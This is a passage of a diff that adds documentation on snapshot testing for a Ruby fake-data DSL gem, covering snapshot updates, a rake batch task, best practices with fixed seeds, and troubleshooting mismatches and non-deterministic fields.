+ Update snapshots when you intentionally change a schema:
190
+
191
+ ```ruby
192
+ # In test file, temporarily set update: true
193
+ expect_snapshot(schema, seed: 42, update: true)
194
+ ```
195
+
196
+ ### Batch Update
197
+
198
+ ```ruby
199
+ # Create a rake task
200
+ namespace :snapshots do
201
+ task :update do
202
+ require 'fake_data_dsl'
203
+
204
+ registry = FakeDataDSL::Registry.new
205
+ registry.load_dir("schemas/")
206
+
207
+ FakeDataDSL::SnapshotTesting.generate_all_snapshots(registry, seed: 42)
208
+ puts "Snapshots updated!"
209
+ end
210
+ end
211
+ ```
212
+
213
+ ```bash
214
+ bundle exec rake snapshots:update
215
+ ```
216
+
217
+ ## Best Practices
218
+
219
+ ### 1. Use Consistent Seeds
220
+
221
+ Always use the same seed for deterministic output:
222
+
223
+ ```ruby
224
+ # Good: Consistent seed
225
+ expect_snapshot(schema, seed: 42)
226
+
227
+ # Bad: No seed (non-deterministic)
228
+ expect_snapshot(schema)
229
+ ```
230
+
231
+ ### 2. Commit Snapshots to Git
232
+
233
+ Snapshots should be version controlled:
234
+
235
+ ```bash
236
+ git add spec/snapshots/
237
+ git commit -m "Update schema snapshots"
238
+ ```
239
+
240
+ ### 3. Review Snapshot Changes
241
+
242
+ Always review snapshot diffs in pull requests:
243
+
244
+ ```diff
245
+ # spec/snapshots/fake_data_dsl/user.json
246
+ {
247
+ - "email": "john@example.com",
248
+ + "email": "john.doe@example.com",
249
+ "name": "John Doe"
250
+ }
251
+ ```
252
+
253
+ ### 4. Separate Snapshot Tests
254
+
255
+ Keep snapshot tests in their own files:
256
+
257
+ ```
258
+ spec/
259
+ ├── schemas/
260
+ │ └── snapshots_spec.rb # Snapshot tests
261
+ ├── models/
262
+ │ └── user_spec.rb # Model tests
263
+ └── snapshots/
264
+ └── fake_data_dsl/ # Snapshot files
265
+ ├── user.json
266
+ └── order.json
267
+ ```
268
+
269
+ ## Troubleshooting
270
+
271
+ ### Snapshot Mismatch
272
+
273
+ ```
274
+ expected generated data to match snapshot for User
275
+ ```
276
+
277
+ **Solutions:**
278
+ 1. If change is intentional: Update snapshot with `update: true`
279
+ 2. If change is unintentional: Fix the schema
280
+
281
+ ### Snapshot Not Found
282
+
283
+ ```
284
+ snapshot not found: spec/snapshots/fake_data_dsl/user.json
285
+ ```
286
+
287
+ **Solution:** Run tests with `update: true` to create initial snapshot.
288
+
289
+ ### Non-Deterministic Data
290
+
291
+ Some types (like `now`) aren't deterministic even with seeds.
292
+
293
+ **Solution:** Override non-deterministic fields:
294
+
295
+ ```ruby
296
+ it "generates stable output" do
297
+ data = schema.generate(seed: 42, overrides: {
298
+ "created_at" => "2024-01-01T00:00:00Z"
299
+ })
300
+ expect(data).to match_snapshot("user")
301
+ end
302
+ ```
303
+
304
+ ## See Also
305
+
306
+ - [Factory Bot Integration](FACTORY_BOT.md)
307
+ - [Property-Based Testing](PROPERTY_TESTING.md)
308
+ - [CI/CD Integration](../tech_docs/integration/ci_cd_guide.md)